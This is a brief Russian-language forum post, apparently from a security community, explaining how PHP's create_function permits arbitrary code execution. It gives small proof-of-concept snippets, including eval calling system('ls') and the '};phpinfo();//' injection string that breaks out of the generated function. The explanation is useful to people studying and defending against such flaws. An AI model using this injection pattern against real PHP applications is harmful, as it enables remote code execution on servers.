http://ru.php.net/manual/en/function.create-function.php
Функция create_function, сама по себе дает возможность выполнять произвольный код на сервере
, например RCE в вордпрессе описаный здесь https://rdot.org/forum/showthread.php?t=3, основан как раз на
create_function.
По сути штатное использование create_function,
PHP код:
<?php
$code = <наш код>;
$dyn_func = create_function('', "echo $code;");
$dyn_func('');
?>
можно сравнить с такой конструкцией
PHP код:
<?php
eval("function lambda_n() { echo system('ls'); }");
lambda_n();
?>
При этом разрабы пхп дают нам еще большую свободу действий
http://bugs.php.net/bug.php?id=48231
PHP код:
<?php
$newfunc = create_function('', '};phpinfo();//');
?>